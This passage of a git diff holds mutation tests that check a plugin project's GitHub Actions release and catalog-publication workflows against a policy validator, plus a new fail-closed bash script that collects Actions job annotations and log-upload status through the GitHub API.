"marketplace-publish"], + ["plugin-release.yml", "marketplace-publish"], +]; +const catalogStateLanes = [ + ["post-publish-release-smoke.yml", "smoke"], + ["plugin-release.yml", "post-publish-smoke"], +]; + +function runCatalogDeliveryOutcome(environment, [file, jobName] = catalogOutcomeLanes[0]) { + const step = draftStep(loadWorkflows().get(file).jobs[jobName], "Record catalog delivery outcome"); + // Every GitHub expression in this step lives in env, so the body is executable bash. + assert.ok(!step.run.includes("${{"), "delivery outcome body must not embed workflow expressions"); + return runStepBash(step.run, { RECOVERY_WORKFLOW: step.env.RECOVERY_WORKFLOW, ...environment }); +} + +function runCatalogDeliveryState(environment, [file, jobName] = catalogStateLanes[0]) { + const step = draftStep(loadWorkflows().get(file).jobs[jobName], "Record catalog delivery state"); + assert.ok(!step.run.includes("${{"), "delivery state body must not embed workflow expressions"); + // PUBLISHED_COMMIT is what the preceding step resolved from the published release. It is the + // step's own input here, exactly as it is in the workflow. + return runStepBash(step.run, environment); +} + +// Both smokes bind themselves to the published release before deciding anything, so the executable +// body below is run with that binding present -- and, separately, with it broken. +function runCatalogDeliveryStateBound(environment, lane) { + return runCatalogDeliveryState({ PUBLISHED_COMMIT: repositoryHead(), ...environment }, lane); +} + +function repositoryHead() { + return spawnSync("git", ["-C", root, "rev-parse", "HEAD"], { encoding: "utf8" }).stdout.trim(); +} + +test("a release records catalog publication only when the catalog push actually landed", () => { + const revision = "a".repeat(40); + + for (const lane of catalogOutcomeLanes) { + const published = runCatalogDeliveryOutcome({ + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: revision, + }, lane); + assert.equal(published.status, 0, published.stderr); + assert.deepEqual(published.outputs, { + catalog_published: "true", + marketplace_revision: revision, + }, lane.join("/")); + assert.doesNotMatch(published.stdout, /::warning::/u, lane.join("/")); + } + + // Each of these is a real way this job has failed or could fail. None may report published, and + // none may fail the release: the tag and the GitHub release already exist by this point. + const deferrals = [ + ["missing credential", { TOKEN_OUTCOME: "failure", PUBLISH_OUTCOME: "", PUBLISHED_REVISION: "" }], + ["push rejected", { TOKEN_OUTCOME: "success", PUBLISH_OUTCOME: "failure", PUBLISHED_REVISION: "" }], + ["push skipped", { TOKEN_OUTCOME: "failure", PUBLISH_OUTCOME: "skipped", PUBLISHED_REVISION: "" }], + ["push reported success without a revision", { + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: "", + }], + ["push reported a mutable ref", { + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: "main", + }], + ["push reported a truncated revision", { + TOKEN_OUTCOME: "success", + PUBLISH_OUTCOME: "success", + PUBLISHED_REVISION: "a".repeat(39), + }], + ]; + for (const lane of catalogOutcomeLanes) { + for (const [label, environment] of deferrals) { + const deferred = runCatalogDeliveryOutcome(environment, lane); + const where = `${lane.join("/")}: ${label}`; + assert.equal(deferred.status, 0, `${where}: ${deferred.stderr}`); + assert.deepEqual(deferred.outputs, { + catalog_published: "false", + marketplace_revision: "", + }, where); + assert.match(deferred.stdout, /::warning::Catalog publication deferred/u, where); + assert.match(deferred.stdout, /marketplace-sync\.yml/u, where); + assert.match(deferred.summary, /DEFERRED/u, where); + } + } +}); + +test("the post-publish smoke cannot record a public catalog install it did not perform", () => { + const graph = loadReleaseClaimGraph(root); + const { states } = graph.workflow_policy.catalog_delivery; + const publishedInstaller = states.find(({ id }) => id === "published").installer; + const deferredInstaller = states.find(({ id }) => id === "deferred").installer; + const liveRevision = "b".repeat(40); + const head = repositoryHead(); + + for (const lane of catalogStateLanes) { + const where = lane.join("/"); + const published = runCatalogDeliveryStateBound({ + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: liveRevision, + }, lane); + assert.equal(published.status, 0, published.stderr); + assert.equal(published.outputs.state, "published", where); + assert.equal(published.outputs.installer, publishedInstaller, where); + assert.equal(published.outputs.marketplace_source, "TheGreenCedar/AgentPluginMarketplace", where); + assert.equal(published.outputs.marketplace_revision, liveRevision, where); + assert.equal(published.outputs.local_fixture, "false", where); + + // Deferred still proves a real Codex install of the real published artifacts -- it changes only + // WHICH catalog served it -- and it says so with an installer identity that cannot be confused + // for the public one. + const deferred = runCatalogDeliveryStateBound({ + CATALOG_PUBLISHED: "false", + INPUT_MARKETPLACE_REVISION: "", + }, lane); + assert.equal(deferred.status, 0, deferred.stderr); + assert.equal(deferred.outputs.state, "deferred", where); + assert.equal(deferred.outputs.installer, deferredInstaller, where); + assert.notEqual(deferred.outputs.installer, publishedInstaller, where); + assert.notEqual(deferred.outputs.marketplace_source, "TheGreenCedar/AgentPluginMarketplace", where); + assert.equal(deferred.outputs.local_fixture, "true", where); + assert.match(deferred.outputs.marketplace_revision, /^[0-9a-f]{40}$/u, where); + assert.match(deferred.stdout, /::warning::Catalog publication was deferred/u, where); + const catalog = JSON.parse(readFileSync( + path.join(deferred.outputs.marketplace_source, ".agents", "plugins", "marketplace.json"), + "utf8", + )); + assert.equal(catalog.plugins[0].source.sha, head, `${where}: fixture must pin the released commit`); + + // Refusals. A handoff that is inconsistent, absent, or merely truthy-looking must stop the + // smoke rather than fall through into the published identity. + for (const [label, environment] of [ + ["deferred with a live revision", { CATALOG_PUBLISHED: "false", INPUT_MARKETPLACE_REVISION: liveRevision }], + ["absent handoff", { CATALOG_PUBLISHED: "", INPUT_MARKETPLACE_REVISION: "" }], + ["truthy handoff", { CATALOG_PUBLISHED: "TRUE", INPUT_MARKETPLACE_REVISION: liveRevision }], + ["handoff spelled yes", { CATALOG_PUBLISHED: "yes", INPUT_MARKETPLACE_REVISION: liveRevision }], + // Published demands an IMMUTABLE revision. "main" is refused by any length test at all, so + // it never exercised immutability; the 40-character non-hex cases below do, and they are + // reachable in practice because this workflow is dispatchable with an arbitrary string. + ["published without a revision", { CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: "" }], + ["published with a mutable ref", { CATALOG_PUBLISHED: "true", INPUT_MARKETPLACE_REVISION: "main" }], + ["published with a truncated revision", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "b".repeat(39), + }], + ["published with forty non-hex characters", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "z".repeat(40), + }], + ["published with a forty-character branch name", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "refs/heads/some-quite-long-branch-name-xy", + }], + ["published with an uppercase revision", { + CATALOG_PUBLISHED: "true", + INPUT_MARKETPLACE_REVISION: "B".repeat(40), + }], + ]) { + const refused = runCatalogDeliveryStateBound(environment, lane); + assert.notEqual(refused.status, 0, `${where}: ${label}`); + assert.notEqual(refused.outputs.installer, publishedInstaller, `${where}: ${label}`); + } + + // The deferred branch pins the commit the previous step resolved from the published release. + // A missing or non-immutable binding must stop the job rather than fall back to this tree. + for (const [label, publishedCommit] of [ + ["absent published commit", ""], + ["mutable published ref", "main"], + ["forty non-hex characters", "z".repeat(40)], + ]) { + const refused = runCatalogDeliveryState({ + CATALOG_PUBLISHED: "false", + INPUT_MARKETPLACE_REVISION: "", + PUBLISHED_COMMIT: publishedCommit, + }, lane); + assert.notEqual(refused.status, 0, `${where}: ${label}`); + assert.equal(refused.outputs.installer, undefined, `${where}: ${label}`); + } + } +}); + +test("catalog publication cannot be reinstated as a gate or claimed without happening", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + + const releaseFile = "release.yml"; + const smokeFile = "post-publish-release-smoke.yml"; + const pluginFile = "plugin-release.yml"; + const publishJob = workflows => workflows.get(releaseFile).jobs["marketplace-publish"]; + const smokeJob = workflows => workflows.get(smokeFile).jobs.smoke; + const smokeCall = workflows => workflows.get(releaseFile).jobs["post-publish-smoke"]; + const pluginPublishJob = workflows => workflows.get(pluginFile).jobs["marketplace-publish"]; + const pluginSmokeJob = workflows => workflows.get(pluginFile).jobs["post-publish-smoke"]; + + const mutations = [ + // --- The claim silently becoming true --- + ["release hard-codes the catalog claim", workflows => { + smokeCall(workflows).with.catalog_published = true; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["release hard-codes the catalog claim as a string", workflows => { + smokeCall(workflows).with.catalog_published = "true"; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["catalog claim is read from an unrelated input", workflows => { + smokeCall(workflows).with.catalog_published = "${{ inputs.publish_release }}"; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["catalog claim is read from the job result instead of the recorded outcome", workflows => { + smokeCall(workflows).with.catalog_published + = "${{ needs.marketplace-publish.result == 'success' }}"; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["catalog claim is dropped entirely", workflows => { + delete smokeCall(workflows).with.catalog_published; + }, /must derive catalog_published from the recorded marketplace-publish outcome/u], + ["delivery outcome ignores whether the push ran", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace('&& [ "$PUBLISH_OUTCOME" = "success" ] \\\n', ""); + }, /must run \[ "\$PUBLISH_OUTCOME" = "success" \]/u], + ["delivery outcome accepts any revision the push printed", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace( + `&& printf '%s' "$PUBLISHED_REVISION" | grep -Eq '^[0-9a-f]{40}$'`, + "&& true", + ); + }, /grep -Eq/u], + ["delivery outcome defaults to published", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace("catalog_published=false", "catalog_published=true"); + }, /must run catalog_published=false/u], + ["job publishes the raw push result instead of the recorded outcome", workflows => { + publishJob(workflows).outputs.catalog_published = "${{ steps.publish.outcome == 'success' }}"; + }, /must publish the recorded delivery state/u], + ["delivery outcome is skipped when the push failed", workflows => { + draftStep(publishJob(workflows), "Record catalog delivery outcome").if = "success()"; + }, /catalog delivery outcome must be recorded whatever the catalog push did/u], + ["deferred publication stops naming its recovery path", workflows => { + delete draftStep(publishJob(workflows), "Record catalog delivery outcome").env.RECOVERY_WORKFLOW; + }, /must name marketplace-sync\.yml as the recovery path/u], + + // --- The smoke passing because it stopped checking anything --- + ["deferred smoke records the public catalog installer", workflows => { + const step = draftStep(smokeJob(workflows), "Emit authenticated post-publish release cells"); + step.run = step.run.replace( + '--arg installer "$DELIVERED_INSTALLER"', + "--arg installer codex_marketplace_install", + ); + }, /must not hard-code the published installer identity/u], + ["both delivery states collapse onto one installer identity", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + "installer=codex_marketplace_deferred_fixture", + "installer=codex_marketplace_install", + ); + }, /published installer identity must be reachable only from the published branch/u], + ["deferred branch accepts a live catalog revision", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace('if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then', "if false; then"); + }, /must run if \[ -n "\$INPUT_MARKETPLACE_REVISION" \]/u], + ["unknown delivery states fall through instead of failing", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace("catalog_published must be true or false", "unreachable"); + }, /must run catalog_published must be true or false/u], + ["delivery state becomes conditional", workflows => { + draftStep(smokeJob(workflows), "Record catalog delivery state").if = "inputs.catalog_published"; + }, /catalog delivery state must be unconditional and fail closed/u], + ["delivery state stops reading the caller's handoff", workflows => { + delete draftStep(smokeJob(workflows), "Record catalog delivery state").env.CATALOG_PUBLISHED; + }, /must read the recorded publication handoff/u], + ["smoke resolves whatever catalog it likes", workflows => { + const step = draftStep(smokeJob(workflows), "Resolve the published plugin through the marketplace catalog"); + step.run = step.run.replace( + '--marketplace-source "$MARKETPLACE_SOURCE"', + "--marketplace-source TheGreenCedar/AgentPluginMarketplace", + ); + }, /must run --marketplace-source "\$MARKETPLACE_SOURCE"/u], + // The other half of the same claim: the variable the command names has to be bound to the + // delivery state's own output, or routing it through `env:` would only move the hole. + ["smoke rebinds the catalog source away from the delivery state", workflows => { + draftStep(smokeJob(workflows), "Resolve the published plugin through the marketplace catalog") + .env.MARKETPLACE_SOURCE = "TheGreenCedar/AgentPluginMarketplace"; + }, /must bind MARKETPLACE_SOURCE to \$\{\{ steps\.delivery\.outputs\.marketplace_source \}\}/u], + ["smoke fakes the fixture catalog by cloning it", workflows => { + draftStep(smokeJob(workflows), "Record catalog delivery state").run + += "\ngit clone https://github.com/TheGreenCedar/AgentPluginMarketplace.git"; + }, /must not fabricate installation with git clone/u], + ["catalog delivery state stops being a required handoff", workflows => { + workflows.get(smokeFile).on.workflow_call.inputs.catalog_published.required = false; + }, /workflow_call catalog_published must be a required boolean/u], + + // --- The gate coming back, or a retry hiding which failure happened --- + ["token failure fails the published release again", workflows => { + delete draftStep(publishJob(workflows), "Mint a scoped marketplace token")["continue-on-error"]; + }, /marketplace token failure must not fail an already-published release/u], + ["catalog push failure fails the published release again", workflows => { + delete draftStep(publishJob(workflows), "Point the catalog at the published release")["continue-on-error"]; + }, /catalog push must run only with a minted token and must not fail the release/u], + ["catalog push runs without a minted token", workflows => { + delete draftStep(publishJob(workflows), "Point the catalog at the published release").if; + }, /catalog push must run only with a minted token and must not fail the release/u], + ["smoke waits for the catalog job to succeed", workflows => { + smokeCall(workflows).if + = "inputs.publish_release && needs.marketplace-publish.result == 'success'"; + }, /must not gate on marketplace-publish in any form/u], + ["smoke is skipped whenever the catalog job did not run cleanly", workflows => { + smokeCall(workflows).if = "inputs.publish_release"; + }, /post-publish smoke must require trusted publication authority and a successful publish/u], + ["smoke stops requiring a real published release", workflows => { + smokeCall(workflows).if = "always() && inputs.publish_release && needs.preflight.result == 'success'"; + }, /post-publish smoke must require trusted publication authority and a successful publish/u], + ["catalog push retries until it passes", workflows => { + const step = draftStep(publishJob(workflows), "Point the catalog at the published release"); + step.run = `until node .github/scripts/publish-marketplace-catalog.mjs; do sleep 5; done\n${step.run}`; + }, /must not retry a recorded delivery outcome/u], + ["post-publish closeout reintroduces the catalog gate through its condition", workflows => { + workflows.get(releaseFile).jobs["post-publish-closeout"].if + = "inputs.publish_release && needs.marketplace-publish.result == 'success'"; + }, /post-publish closeout must not gate on marketplace-publish succeeding/u], + + // --- The plugin fast lane, which tags and publishes the same catalog --- + ["plugin lane token failure fails its tagged release again", workflows => { + delete draftStep(pluginPublishJob(workflows), "Mint a scoped marketplace token")["continue-on-error"]; + }, /plugin-release\.yml marketplace token failure must not fail an already-published release/u], + ["plugin lane catalog push failure fails its tagged release again", workflows => { + delete draftStep(pluginPublishJob(workflows), "Point the catalog at the published release")["continue-on-error"]; + }, /plugin-release\.yml catalog push must run only with a minted token/u], + ["plugin lane stops recording its delivery outcome", workflows => { + const job = pluginPublishJob(workflows); + job.steps = job.steps.filter(({ name }) => name !== "Record catalog delivery outcome"); + }, /plugin-release\.yml must contain named step Record catalog delivery outcome/u], + ["plugin lane delivery outcome defaults to published", workflows => { + const step = draftStep(pluginPublishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace("catalog_published=false", "catalog_published=true"); + }, /plugin-release\.yml step Record catalog delivery outcome must run catalog_published=false/u], + ["plugin lane smoke waits for the catalog job to succeed", workflows => { + pluginSmokeJob(workflows).if = "needs.marketplace-publish.result == 'success'"; + }, /plugin-release\.yml post-publish smoke must require a successful publish without gating/u], + ["plugin lane smoke stops requiring a real published release", workflows => { + delete pluginSmokeJob(workflows).if; + }, /plugin-release\.yml post-publish smoke must require a successful publish without gating/u], + ["plugin lane hard-codes its catalog claim", workflows => { + draftStep(pluginSmokeJob(workflows), "Record catalog delivery state").env.CATALOG_PUBLISHED = "true"; + }, /plugin-release\.yml catalog delivery state must read the recorded publication handoff/u], + ["plugin lane collapses both delivery states onto one installer identity", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + "installer=codex_marketplace_deferred_fixture", + "installer=codex_marketplace_install", + ); + }, /plugin-release\.yml the published installer identity must be reachable only from the published branch/u], + ["plugin lane deferred branch accepts a live catalog revision", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace('if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then', "if false; then"); + }, /plugin-release\.yml step Record catalog delivery state must run if \[ -n "\$INPUT_MARKETPLACE_REVISION" \]/u], + ["plugin lane installs from a catalog the delivery state did not resolve", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path"); + step.run = step.run.replace( + '--marketplace-source "$MARKETPLACE_SOURCE"', + "--marketplace-source TheGreenCedar/AgentPluginMarketplace", + ); + }, /plugin-release\.yml step Prove the public marketplace install path must run --marketplace-source/u], + ["plugin lane rebinds the catalog source away from the delivery state", workflows => { + draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path") + .env.MARKETPLACE_SOURCE = "TheGreenCedar/AgentPluginMarketplace"; + }, /plugin-release\.yml step Prove the public marketplace install path must bind MARKETPLACE_SOURCE/u], + ["plugin lane smoke installs the revision the job failed to publish", workflows => { + draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path") + .env.MARKETPLACE_REVISION = "${{ needs.marketplace-publish.outputs.marketplace_revision }}"; + }, /plugin-release\.yml post-publish smoke must install from the marketplace revision this release published/u], + // --- A recovery instruction that cannot be followed --- + // marketplace-sync.yml mints the same credential from the same environment, so it recovers a + // rejected push and not a missing credential. Naming it unconditionally recorded a one-click + // fix that does not exist for the state every release currently reaches. + ["deferral stops distinguishing a missing credential from a rejected push", workflows => { + const step = draftStep(publishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace('if [ "$TOKEN_OUTCOME" != "success" ]; then', "if false; then"); + }, /release\.yml step Record catalog delivery outcome must run if \[ "\$TOKEN_OUTCOME" != "success" \]; then/u], + ["plugin lane deferral stops naming the credential the recovery needs", workflows => { + const step = draftStep(pluginPublishJob(workflows), "Record catalog delivery outcome"); + step.run = step.run.replace("provision the marketplace-publish credential", "try again"); + }, /plugin-release\.yml step Record catalog delivery outcome must run provision the marketplace-publish credential/u], + + // --- The push step no longer having to push --- + // Turning the gate into delivery deleted the rule that read this step's body, leaving a job + // that could mint `catalog_published=true` with the catalog untouched. Both lanes. + ["catalog push stops pushing anything", workflows => { + draftStep(publishJob(workflows), "Point the catalog at the published release").run + = 'echo "catalog untouched"\necho "marketplace_revision=$(printf a%.0s $(seq 40))" >> "$GITHUB_OUTPUT"'; + }, /release\.yml step Point the catalog at the published release must run publish-marketplace-catalog\.mjs/u], + ["catalog push stops naming the commit it publishes", workflows => { + const step = draftStep(publishJob(workflows), "Point the catalog at the published release"); + step.run = step.run.replace('--commit "$GITHUB_SHA"', "--commit HEAD"); + }, /release\.yml step Point the catalog at the published release must run --commit "\$GITHUB_SHA"/u], + ["catalog push stops reporting the revision it landed", workflows => { + const step = draftStep(publishJob(workflows), "Point the catalog at the published release"); + step.run = step.run.replace('--github-output "$GITHUB_OUTPUT"', "--quiet"); + }, /release\.yml step Point the catalog at the published release must run --github-output/u], + ["plugin lane catalog push stops pushing anything", workflows => { + draftStep(pluginPublishJob(workflows), "Point the catalog at the published release").run + = 'echo "catalog untouched"'; + }, /plugin-release\.yml step Point the catalog at the published release must run publish-marketplace-catalog\.mjs/u], + + // --- The gate coming back under a different spelling --- + // `.result` was the only spelling forbidden, so the identical hard gate written as an output + // comparison passed. Both lanes, and the closeout that reaches the catalog through the smoke. + ["smoke gates on the catalog output instead of the job result", workflows => { + smokeCall(workflows).if + = "always() && inputs.publish_release && needs.preflight.result == 'success'" + + " && needs.publish.result == 'success'" + + " && needs.marketplace-publish.outputs.catalog_published == 'true'"; + }, /must not gate on marketplace-publish in any form/u], + ["smoke gates on the catalog revision being present", workflows => { + smokeCall(workflows).if + = "always() && inputs.publish_release && needs.preflight.result == 'success'" + + " && needs.publish.result == 'success'" + + " && needs.marketplace-publish.outputs.marketplace_revision != ''"; + }, /must not gate on marketplace-publish in any form/u], + ["plugin lane smoke gates on the catalog output instead of the job result", workflows => { + pluginSmokeJob(workflows).if + = "always() && needs.preflight.result == 'success' && needs.publish.result == 'success'" + + " && needs.marketplace-publish.outputs.catalog_published == 'true'"; + }, /plugin-release\.yml post-publish smoke must require a successful publish without gating on marketplace-publish in any form/u], + ["post-publish closeout gates on the catalog output instead of the job result", workflows => { + workflows.get(releaseFile).jobs["post-publish-closeout"].if + = "inputs.publish_release && needs.marketplace-publish.outputs.catalog_published == 'true'"; + }, /post-publish closeout must not gate on marketplace-publish succeeding/u], + + // --- A revision test that measures length instead of immutability --- + ["delivery state accepts any forty characters as a revision", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + ["plugin lane delivery state accepts any forty characters as a revision", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + ["install step accepts any forty characters as a revision", workflows => { + const step = draftStep(smokeJob(workflows), "Resolve the published plugin through the marketplace catalog"); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + ["release preflight accepts any forty characters as a live revision", workflows => { + const step = draftStep( + workflows.get(releaseFile).jobs.preflight, + "Prove the public marketplace install path", + ); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + + // --- The smoke verifying its own workspace against itself --- + ["smoke stops checking out the published tag", workflows => { + const checkout = smokeJob(workflows).steps + .find(step => String(step.uses ?? "").startsWith("actions/checkout@")); + delete checkout.with; + }, /post-publish-release-smoke\.yml post-publish smoke must check out the published release tag/u], + ["plugin lane smoke stops checking out the published tag", workflows => { + const checkout = pluginSmokeJob(workflows).steps + .find(step => String(step.uses ?? "").startsWith("actions/checkout@")); + delete checkout.with; + }, /plugin-release\.yml post-publish smoke must check out the published release tag/u], + ["plugin lane smoke checks out its own head instead of the tag", workflows => { + const checkout = pluginSmokeJob(workflows).steps + .find(step => String(step.uses ?? "").startsWith("actions/checkout@")); + checkout.with = { ref: "${{ github.sha }}", "fetch-depth": 0 }; + }, /plugin-release\.yml post-publish smoke must check out the published release tag/u], + ["smoke stops making GitHub confirm the release is published", workflows => { + const job = smokeJob(workflows); + job.steps = job.steps.filter(({ name }) => name !== "Bind this smoke to the published release"); + }, /post-publish-release-smoke\.yml must contain named step Bind this smoke to the published release/u], + ["plugin lane smoke stops making GitHub confirm the release is published", workflows => { + const job = pluginSmokeJob(workflows); + job.steps = job.steps.filter(({ name }) => name !== "Bind this smoke to the published release"); + }, /plugin-release\.yml must contain named step Bind this smoke to the published release/u], + ["published binding stops comparing GitHub's commit with the checked-out tree", workflows => { + const step = draftStep(smokeJob(workflows), "Bind this smoke to the published release"); + step.run = step.run.replace( + 'if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then', + "if false; then", + ); + }, /must run if \[ "\$published_commit" != "\$\(git -C "\$GITHUB_WORKSPACE" rev-parse HEAD\)" \]; then/u], + ["published binding accepts a draft release", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Bind this smoke to the published release"); + step.run = step.run.replace('gh release view "$TAG"', 'gh release list "$TAG"'); + }, /plugin-release\.yml step Bind this smoke to the published release must run gh release view/u], + ["deferred fixture is pinned to the run's own head again", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + '--commit "$published_commit"', + '--commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)"', + ); + }, /must run --commit "\$published_commit"/u], + ["plugin lane deferred fixture is pinned to the run's own head again", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + '--commit "$published_commit"', + '--commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)"', + ); + }, /must run --commit "\$published_commit"/u], + ["delivery state stops reading the published commit binding", workflows => { + delete draftStep(smokeJob(workflows), "Record catalog delivery state").env.PUBLISHED_COMMIT; + }, /must pin the commit resolved from the published release/u], + ["plugin lane delivery state stops reading the published commit binding", workflows => { + delete draftStep(pluginSmokeJob(workflows), "Record catalog delivery state").env.PUBLISHED_COMMIT; + }, /plugin-release\.yml catalog delivery state must pin the commit resolved from the published release/u], + ]; + + for (const [name, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, [], name); + assert.match(violations.join("\n"), expectedReason, name); + }); + } }); diff --git a/.github/scripts/collect-actions-job-evidence.sh b/.github/scripts/collect-actions-job-evidence.sh new file mode 100755 index 000000000..ceee01376 --- /dev/null +++ b/.github/scripts/collect-actions-job-evidence.sh @@ -0,0 +1,103 @@ +#!/usr/bin/env bash +# Collect the Actions job evidence that .github/scripts/lost-runner-recovery.mjs classifies. +# +# Both halves of the lost-runner contract -- the bounded automatic rerun and the withheld-claim +# fallback -- read the same three facts about a failed job, so they read them through one collector +# rather than two copies of the same jq. Successful jobs are recorded without annotation or log +# lookups because the classifier only ever inspects failures. +# +# Every lookup here fails closed. "This job had no annotations" and "this token may not read +# annotations" are different facts about the world that an earlier version of this script both +# reported as `[]`; the second one is a repository misconfiguration and has to stop the run rather +# than quietly re-describe a lost runner as an ordinary assertion failure. The same goes for the +# log blob: only a 404 means "the runner never uploaded one", and every other outcome -- 403, a +# rate limit, a transport error -- is an error, never the permissive answer. +# +# The annotations endpoint needs the `checks: read` token scope. Any job that runs this script must +# declare it; .github/scripts/check-workflow-policy.mjs refuses a workflow that does not. +# +# usage: collect-actions-job-evidence.sh +set -euo pipefail + +run_id="$1" +run_attempt="$2" +output="$3" +mkdir -p "$(dirname "$output")" +work="$(mktemp -d)" +trap 'rm -rf "$work"' EXIT + +# Ask one Actions endpoint for its HTTP status without letting a transport failure impersonate an +# answer. Prints the final status code of the redirect chain, or nothing at all when gh never got +# a response -- callers treat "nothing" as an error, never as a verdict. +http_status() { + local target="$1" response + response="$(gh api --include --silent "$target" 2>/dev/null || true)" + printf '%s\n' "$response" | + awk 'toupper($1) ~ /^HTTP\// { code = $2 } END { if (code != "") print code }' +} + +# Every attempt, not just the current one. The recovery bound counts how many times *this job* was +# lost to its runner, which is a different number from how many times the run was re-run: a release +# re-run for an unrelated reason must not consume a host's one automatic retry before it is owed. +: > "$work/jobs.ndjson" +attempt=1 +while [ "$attempt" -le "$run_attempt" ]; do + gh api --paginate \ + "repos/$GITHUB_REPOSITORY/actions/runs/$run_id/attempts/$attempt/jobs?per_page=100" \ + --jq '.jobs[]' >> "$work/jobs.ndjson" + attempt=$((attempt + 1)) +done +jq -s '.' "$work/jobs.ndjson" > "$work/jobs.json" + +# One row per execution: a job Actions carried forward unchanged is listed under the same id by +# every later attempt, and counting it twice would spend a recovery that never happened. +jq -c '[.[] | {id, name, status, conclusion, run_attempt, steps}] + | group_by(.id) | map(max_by(.run_attempt)) | sort_by(.id) | .[]' \ + "$work/jobs.json" > "$work/selected.json" + +: > "$work/rows.json" +# Read from a file rather than a pipe so the loop runs in this shell: a `exit 1` below has to stop +# the collector, not just a subshell that the pipeline would then report as success. +while IFS= read -r job; do + job_id="$(jq -r '.id' <<<"$job")" + if [ "$(jq -r '.conclusion' <<<"$job")" = failure ]; then + if ! annotations="$(gh api "repos/$GITHUB_REPOSITORY/check-runs/$job_id/annotations" 2>"$work/annotations.err")"; then + echo "::error::Cannot read annotations for job $job_id: $(tr -d '\n' < "$work/annotations.err")." >&2 + echo "::error::The lost-runner signature is unreadable without the checks: read token scope." >&2 + exit 1 + fi + if ! jq -e 'type == "array"' >/dev/null 2>&1 <<<"$annotations"; then + echo "::error::Annotations for job $job_id are not a JSON array." >&2 + exit 1 + fi + # A runner that lost communication never uploaded its log blob, so this endpoint 404s. That is + # one of the three parts of the signature and is not inferable from the job record alone. + log_status="$(http_status "repos/$GITHUB_REPOSITORY/actions/jobs/$job_id/logs")" + case "$log_status" in + 2??) log_uploaded=true ;; + 404|410) log_uploaded=false ;; + *) + echo "::error::Log blob probe for job $job_id answered ${log_status:-no HTTP status}." >&2 + echo "::error::Only 404 means the runner uploaded no log; every other answer is an error." >&2 + exit 1 + ;; + esac + # Recorded state, so a reader of the evidence can see which answer produced the verdict rather + # than having to assume one. + probe="$(jq -nc \ + --arg log_http_status "$log_status" \ + '{annotations_read: true, log_http_status: ($log_http_status | tonumber)}')" + else + annotations='[]' + log_uploaded=true + probe='{"annotations_read":false,"log_http_status":null,"skipped":"conclusion_not_failure"}' + fi + jq -c \ + --argjson annotations "$annotations" \ + --argjson log_uploaded "$log_uploaded" \ + --argjson probe "$probe" \ + '. + {annotations: $annotations, log_uploaded: $log_uploaded, evidence_probe: $probe}' <<<"$job" \ + >> "$work/rows.json" +done < "$work/selected.json" + +jq -s '.' "$work/rows.json" > "$output" diff --git a/.github/scripts/extract-candidate-actions-artifact.py b/.github/scripts/extract-candidate-actions-artifact.py new file mode 100644 index 000000000..3c1e167dc --- /dev/null +++ 